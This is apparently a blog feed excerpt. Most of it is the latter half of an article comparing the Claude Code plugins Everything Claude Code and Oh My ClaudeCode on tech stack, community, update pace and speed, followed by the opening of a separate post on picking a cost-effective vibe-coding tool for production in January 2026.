<p>On ease of installation there is little difference: both ECC and OMC can be attached as plugins. On ease of use, OMC is friendlier. The key point is that it can be operated in natural language without learning commands. ECC, on the other hand, is powerful. In exchange, the user has to take the initiative in choosing features. It suits users willing to accept the learning curve. In short: OMC is the &ldquo;fast guide.&rdquo; ECC is the &ldquo;deep toolbox.&rdquo;</p>
<hr>
<h2 id="tech-stack-comparison-and-analysis">Tech Stack Comparison and Analysis</h2>
<p>Both projects are extension plugins that run on top of the Anthropic Claude Code CLI environment. Internally they use the API hooks and plugin system Claude Code provides. Their implementations differ.</p>
<h3 id="everything-claude-code-ecc-2">Everything Claude Code (ECC)</h3>
<p>ECC is built around JavaScript and configuration files rather than TypeScript. By GitHub&rsquo;s statistics it is roughly 70% JavaScript, mixed with Markdown documents (skill and agent definitions, and so on), some Python, and Shell.<sup id="fnref11:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> This reflects ECC&rsquo;s character as something that mainly provides command prompts and configuration.</p>
<p>In the repository, agent behavior guidelines are written in <code>.md</code> files. Hooks are defined in JSON such as <code>hooks.json</code>.<sup id="fnref12:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> In v1.1.0 all hooks and scripts were rewritten in Node.js (JavaScript).<sup id="fnref13:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The aim was identical behavior on Windows, macOS, and Linux. Early versions contained some shell scripts. These have now been replaced with cross-platform Node scripts implemented as <code>*.js</code> files under the <code>scripts/</code> folder.<sup id="fnref14:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The Python code (about 19%) is presumably examples or integration scripts for specific tools. The overall execution logic is Node.js-based.</p>
<p>ECC also provides package manager detection and configuration. It automatically recognizes the project&rsquo;s package management tool (npm, pnpm, yarn, bun).<sup id="fnref15:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> It lets you specify one via the <code>CLAUDE_PACKAGE_MANAGER</code> environment variable or a configuration file.<sup id="fnref16:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> These supplementary scripts are written in Node.js and ship with the ECC installation.</p>
<p>Distribution is not through NPM. It is through GitHub integration. You install it by adding the GitHub repository as a Claude Code marketplace source.<sup id="fnref17:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Upgrades happen via <code>git pull</code> or <code>/plugin update</code>. Major changes are announced through release tags (currently the 1.1.0 release).<sup id="fnref18:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<h3 id="oh-my-claudecode-omc-2">Oh My ClaudeCode (OMC)</h3>
<p>OMC uses TypeScript as its primary language. It is a project that implements complex logic in code.<sup id="fnref9:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> A composition of roughly 82% TypeScript and 10% JavaScript means it contains a lot of application-level code for handling functionality dynamically.<sup id="fnref10:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Managing parallel agents requires thread/process pool management, task distribution algorithms, and state synchronization. Those parts are written in TypeScript.</p>
<p>OMC is a Claude Code plugin. At the same time it is also distributed as an NPM package (oh-my-claude-sisyphus).<sup id="fnref4:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> By npm&rsquo;s statistics it sees over 9,000 downloads a month.<sup id="fnref5:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> This may be an attempt to run it standalone without integrating with the Claude Code CLI, or to use it in other environments. Normally, though, using it as a plugin inside the Claude Code environment is the default.</p>
<p>The distinctive parts of OMC&rsquo;s architecture are its database and parallel processing mechanisms. As of v3.6.0 it introduced SQLite-based Swarm coordination.<sup id="fnref11:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> It uses a lightweight DB so that multiple parallel agents can share and coordinate task state. For example, when five agents run in Swarm mode, task completion status and shared resource information are recorded in the SQLite DB so they can collaborate without race conditions. These elements (concurrency, state management) are a tech stack characteristic unique to OMC that ECC does not have. OMC also includes some Python and Shell.<sup id="fnref12:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> These are presumably code for running local tests or invoking system commands. One could also speculate that there are Python helpers for data processing.</p>
<h3 id="conclusion-2">Conclusion</h3>
<p>On the tech stack, you can summarize it as ECC being configuration-oriented and OMC being code-oriented. ECC extends Claude Code&rsquo;s capabilities through a combination of configuration files and scripts. OMC feels more like layering a separate program logic on top of Claude Code. OMC&rsquo;s internals are complex. In exchange, it performs sophisticated control. ECC extends Claude Code with a comparatively simple structure while preserving its inherent stability. If you want to customize things yourself, ECC&rsquo;s structure may be easier to understand. If you want a polished concurrent execution engine, you are better off leveraging what OMC&rsquo;s TypeScript-based architecture provides.</p>
<hr>
<h2 id="community-and-update-frequency-comparison">Community and Update Frequency Comparison</h2>
<h3 id="everything-claude-code-ecc-3">Everything Claude Code (ECC)</h3>
<p>ECC drew an explosive response after going public around December 2025. There was the buzz of being the winner of an official hackathon hosted by Anthropic and Forum Ventures.<sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> A thread of usage impressions the developer posted on social media went viral. It picked up tens of thousands of stars within days of release. GitHub stars currently stand at over 30,000.<sup id="fnref19:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Forks number in the thousands.<sup id="fnref20:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> It is regarded as the most popular project among Claude Code-related work.</p>
<p>On the community side, Medium articles, blogs, and Reddit discussions are active. Many users install ECC and try it out. Issue reports and improvement proposals (PRs) come in as well (6+ GitHub issues, 8+ PRs in progress).<sup id="fnref21:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Developer Affaan Mustafa took the feedback and shipped the 1.1.0 update.<sup id="fnref22:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> That version incorporated cross-platform fixes and bug fixes.<sup id="fnref23:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>The community is in an early stage. Still, as the star count shows, the interested audience is broad. Claude Code users increasingly share their experiences and produce guides, so information is assessed as easy to come by. Medium articles explaining how it works and how to use it, and Reddit Q&amp;A, exist as well.<sup id="fnref2:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> The Discussions tab is open too.<sup id="fnref24:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Users answer each other&rsquo;s questions there. The project&rsquo;s pace is not especially fast. There have been two releases so far (1.0 and 1.1).<sup id="fnref25:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Still, the core developer keeps communicating and signaling improvements. Expectations for future updates are high.</p>
<h3 id="oh-my-claudecode-omc-3">Oh My ClaudeCode (OMC)</h3>
<p>OMC appeared earlier than ECC. It is a project that has developed steadily. GitHub stars are around 2,800.<sup id="fnref13:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> That is fewer than ECC. But that only reflects a difference in initial viral effect; the actual user base is substantial. Its predecessor, Oh-My-OpenCode, was a validated idea that gained popularity on the OpenAI OpenCode CLI side.<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup> As it was forked and extended for Claude Code, feature additions followed.</p>
<p>Per the GitHub release history, v3.6.0 (dated January 26, 2026) is the latest.<sup id="fnref14:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Before that, there were dozens of minor and major releases in the 3.x line.<sup id="fnref15:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> The release notes show new agents, modes, and optimizations being added frequently.<sup id="fnref16:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> That means the OMC team (lead developer Yeachan-Heo and contributors) has kept development running actively.</p>
<p>The community is not as large as ECC&rsquo;s. Instead, there is a specialized user base. Reviews and tips are shared in forums such as Reddit&rsquo;s ClaudeCode community. Related discussions appear on Hacker News too.<sup id="fnref4:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> A few users have written up their experience on Medium and assessed its usefulness.<sup id="fnref1:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> OMC&rsquo;s README also credits ECC, oh-my-opencode, and claude-hud as projects that inspired it.<sup id="fnref17:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> It is assessed as cooperative toward the open source ecosystem. For example, it mentions mutual reinforcement, such as OMC adopting some of ECC&rsquo;s ideas (context management and the like).</p>
<h3 id="conclusion-3">Conclusion</h3>
<p>On the community side, ECC commands more attention and support. Materials and support are plentiful. But the project is very new. Stable long-term support remains to be seen. OMC, by contrast, is relatively quiet. In exchange, it has secured continuous improvement and a loyal user base. On maturity it is assessed as stable. Update frequency is far higher for OMC. You get access to new features sooner. ECC shows a conservative release tendency, shipping selective major updates. If you want the newest features and fast improvement when adopting, OMC&rsquo;s development pace can be an advantage. If you want to apply a validated setup carefully, you are better off drawing on ECC&rsquo;s community guides and the collective wisdom that comes with its relative popularity.</p>
<hr>
<h2 id="performance-and-execution-speed-comparison">Performance and Execution Speed Comparison</h2>
<h3 id="everything-claude-code-ecc-4">Everything Claude Code (ECC)</h3>
<p>ECC fundamentally pursues optimization within the inherent performance limits of Claude Code.<sup id="fnref26:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> It preserves the Claude flow of handling one request and response at a time. In exchange, its strategy is to raise efficiency through context management and by minimizing repeated work.</p>
<p>The Token Optimization and Performance rules mentioned in the guide lay out principles for model selection and prompt slimming in order to reduce unnecessary token consumption.<sup id="fnref27:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> Agent separation is designed so that the main context does not become needlessly bloated.<sup id="fnref28:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> For example, test generation during coding is delegated to a separate agent via the <code>/e2e</code> command to keep the main flow lean.<sup id="fnref29:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>ECC also provides a verification loop (verify).<sup id="fnref30:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> It runs tests at intervals while code is being written. It takes a checkpoint approach where failures are then fixed. Catching errors up front prevents rework. Keeping the session going long reduces the need to start the conversation over from scratch. This is how it aims to shorten total time.</p>
<p>That said, ECC does not step outside the frame of sequential execution on a single instance. Its absolute speed matches Claude Code&rsquo;s response speed. On complex projects a bottleneck is inevitable. Building a large application&rsquo;s code end to end in one session can take tens of minutes or more. ECC cannot fundamentally accelerate that.</p>
<p>Instead, ECC&rsquo;s philosophy is closer to &ldquo;have it written properly from the start so you iterate fewer times.&rdquo; It cites the case of Affaan completing a complex web app in eight hours at the hackathon with the ECC setup.<sup id="fnref3:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> There was no parallelization. Instead, configuration optimization kept Claude from floundering and let it work efficiently. From a time perspective, ECC&rsquo;s individual response times are the same. In exchange, it saves total elapsed time by reducing the number of retries and fixes. The benefit shows up more on large projects requiring long sessions than on small ones.</p>
<h3 id="oh-my-claudecode-omc-4">Oh My ClaudeCode (OMC)</h3>
<p>OMC&rsquo;s performance strategy comes down to parallelization and optimal resource utilization.<sup id="fnref18:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> It runs multiple agents at once. Server and client modules can be developed simultaneously. A large problem can also be split up and solved in parallel. The aim is to cut wall-clock time.</p>
<p>Turning on Ultrapilot mode runs up to five Claude Code instances in parallel.<sup id="fnref6:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> You can expect a 3–5x speedup.<sup id="fnref7:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> Swarm mode automatically splits the work into units.<sup id="fnref8:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> N agents then cooperate. For example, if you need ten features implemented, each agent takes one and works simultaneously, aiming for a linear speedup. Pipeline mode is sequential. In exchange, specialized agents rotate in stage by stage, raising the efficiency of their expertise. Ecomode keeps speed to a reasonable degree while working with a smaller context to save cost (tokens).<sup id="fnref19:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>OMC&rsquo;s parallelization translates into major time savings on complex projects. According to a Medium review, the assessment is that &ldquo;it parallelizes even complex work on its own, efficiently.&rdquo;<sup id="fnref2:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> Users also report speed improvements across the various modes. Notably, attaching the <code>ralph</code> keyword when running makes it keep trying without giving up until the work is completely finished.<sup id="fnref20:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> That adds the convenience of reaching full completion without the developer having to watch over it.</p>
<p>That said, OMC&rsquo;s performance advantage comes with preconditions. First, you have to be able to draw on the rate limit allowance of the Claude API or Claude Pro.<sup id="fnref21:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> Both Claude Pro and the API allow concurrent requests on a rate limit basis.<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> However, RPM (requests per minute) and token limits differ by API tier (Tier 1–4). At lower tiers, running many parallel agents hits the rate limit quickly, which can limit the benefit of parallelization.</p>
<p>Second, parallelization does not always guarantee a linear performance gain. For instance, if five parallel agents each exchange a lot of conversation, total token consumption can rise sharply.<sup id="fnref5:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> Response latency or increased cost can result. If there are interdependencies in how the work is split up, parallel efficiency drops. For these reasons, there is also the assessment that &ldquo;on small projects OMC may not be a big advantage.&rdquo;</p>
<h3 id="conclusion-4">Conclusion</h3>
<p>On execution speed, it is fair to say OMC has a clear edge. In the right circumstances, using the parallel modes can dramatically shorten total working time compared with ECC (and with plain Claude Code). The effect, though, depends on the nature of the task and the conditions of your Claude usage. ECC focuses on maintaining quality and reducing errors rather than on speed. The two are different enough in character that direct comparison is awkward. In short: if you can &ldquo;buy time with money,&rdquo; OMC has the advantage. If you want &ldquo;slower but right the first time,&rdquo; ECC&rsquo;s approach holds up. Depending on the situation, combining the two philosophies is also worth considering.</p>
<hr>
<h2 id="overall-conclusion-and-recommendation">Overall Conclusion and Recommendation</h2>
<p>Both projects are tools that strengthen Claude Code. What they aim at differs.</p>
<p>Everything Claude Code (ECC) hands developers a rich set of tools and guidelines. Its approach is to improve the output by making you follow optimal development habits and patterns. Oh My ClaudeCode (OMC), by contrast, automatically orchestrates multiple agents without any complicated setup. It focuses on getting results fast.</p>
<p><strong>Strengths in Brief</strong></p>
<ul>
<li>ECC is a functionally comprehensive development assistance set. It is assessed as strong on long-term code quality and session management.<sup id="fnref31:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
<li>OMC has its strengths in speed and convenience. It provides an automated code generation pipeline that minimizes user intervention.<sup id="fnref22:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
</ul>
<p><strong>Weaknesses in Brief</strong></p>
<ul>
<li>ECC requires learning and manual operation. It depends on proficiency. With no parallel processing, large-scale work can run into time issues.</li>
<li>OMC has the side effects of automation. There are concerns about increased token cost and some instability.<sup id="fnref6:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> On small projects it can be over-engineering.</li>
</ul>
<p><strong>Considerations for Real-World Adoption</strong></p>
<p>If you want to establish a quality-centric process (TDD, code review, security compliance, and so on), the ECC framework helps. You can use it in the spirit of establishing project standards and training Claude. That is advantageous for getting consistent performance over the long run. Conversely, on rapid prototyping or time-critical projects, pulling results out in a short window with OMC&rsquo;s parallel agents can be effective. Developers unfamiliar with Claude Code can also raise productivity with OMC on a low learning curve.<sup id="fnref23:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup><sup id="fnref3:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
<p>Ultimately the two projects are not mutually exclusive. You can use them together as needed. For example, you could establish baseline quality with ECC&rsquo;s rules and hooks. Running OMC&rsquo;s Ultrapilot mode in parallel alongside that seems theoretically possible as well. OMC is evolving with reference to ECC.<sup id="fnref24:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> There is a real chance their strengths converge further down the line.</p>
<p>In conclusion, if you want to &ldquo;run Claude Code on a solid foundation,&rdquo; Everything Claude Code is worth adopting first. If you want to &ldquo;break through Claude Code&rsquo;s limits without thinking about it,&rdquo; Oh My ClaudeCode is worth adopting first. Understand and apply the strengths of each and you can substantially raise how much you get out of Claude Code.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://github.com/affaan-m/everything-claude-code">https://github.com/affaan-m/everything-claude-code</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref7:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref8:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref9:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref10:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref11:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref12:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref13:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref14:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref15:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref16:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref17:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref18:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref19:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref20:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref21:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref22:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref23:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref24:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref25:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref26:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref27:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref28:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref29:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref30:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref31:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/Yeachan-Heo/oh-my-claudecode">https://github.com/Yeachan-Heo/oh-my-claudecode</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref7:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref8:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref9:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref10:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref11:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref12:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref13:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref14:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref15:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref16:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref17:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref18:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref19:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref20:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref21:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref22:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref23:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref24:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://medium.com/@joe.njenga/everything-claude-code-the-repo-that-won-anthropic-hackathon-33b040ba62f3">https://medium.com/@joe.njenga/everything-claude-code-the-repo-that-won-anthropic-hackathon-33b040ba62f3</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://yeachan-heo.github.io/oh-my-claudecode-website/">https://yeachan-heo.github.io/oh-my-claudecode-website/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref7:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref8:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://news.ycombinator.com/item?id=46572032">https://news.ycombinator.com/item?id=46572032</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://medium.com/@joe.njenga/i-tested-oh-my-claude-code-the-only-agents-swarm-orchestration-you-need-7338ad92c00f">https://medium.com/@joe.njenga/i-tested-oh-my-claude-code-the-only-agents-swarm-orchestration-you-need-7338ad92c00f</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://dev.to/chand1012/the-best-way-to-do-agentic-development-in-2026-14mn">https://dev.to/chand1012/the-best-way-to-do-agentic-development-in-2026-14mn</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://docs.anthropic.com/en/api/rate-limits">https://docs.anthropic.com/en/api/rate-limits</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>The Best Production-Grade, Cost-Effective Vibe Coding Tool from an Enterprise and Heavy-User Perspective (as of January 2026)</title>
            <link>https://roboco.io/en/posts/best-production-vibe-coding-tool-jan2026/</link>
            <pubDate>Sun, 25 Jan 2026 11:45:52 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/best-production-vibe-coding-tool-jan2026/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;This piece was written &lt;strong&gt;as of January 2026&lt;/strong&gt;. Pricing, usage limits, context windows, and plan structures change extremely fast, so I recommend reading it for the &amp;ldquo;principles and structure&amp;rdquo; rather than the specifics.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Vibe coding tools are entering the phase where &amp;ldquo;whatever you use, it more or less works.&amp;rdquo; So for enterprise users and heavy users, the question naturally shifts. It is no longer &amp;ldquo;which tool is the smartest,&amp;rdquo; but &lt;strong&gt;which tool you can use every day in production without hitting a bottleneck, at a cost that still makes sense&lt;/strong&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>This piece was written <strong>as of January 2026</strong>. Pricing, usage limits, context windows, and plan structures change extremely fast, so I recommend reading it for the &ldquo;principles and structure&rdquo; rather than the specifics.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>Vibe coding tools are entering the phase where &ldquo;whatever you use, it more or less works.&rdquo; So for enterprise users and heavy users, the question naturally shifts. It is no longer &ldquo;which tool is the smartest,&rdquo; but <strong>which tool you can use every day in production without hitting a bottleneck, at a cost that still makes sense</strong>.</p>
<p>To give my conclusion up front: as of January 2026, when I weigh performance, security, price, and stability together under the assumption of production use, <strong>Claude Code (particularly the higher-tier and team plans)</strong> is the most convincing default. That conclusion rests less on a comparison of raw model performance or tool features than on a <strong>structural difference in &ldquo;production-level cost-effectiveness&rdquo;</strong> — something you feel more and more clearly as your vibe coding proficiency grows.</p>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>The cost-effectiveness that matters to enterprises and heavy users is not the monthly fee but the throughput that keeps you unblocked at peak workload, plus operability.</li>
<li>On its higher-tier and team plans, Claude Code strikes a good balance across performance, security, price, and stability, making it worth considering as the default.</li>
<li>Choosing a tool means looking beyond token pricing to how limits are imposed, management features, auditability, and where your team&rsquo;s real workflow bottlenecks are.</li>
</ul>
<h2 id="the-real-culprit-behind-poor-value-not-tokens-but-how-limits-are-imposed">The real culprit behind poor value: not tokens, but &ldquo;how limits are imposed&rdquo;</h2>
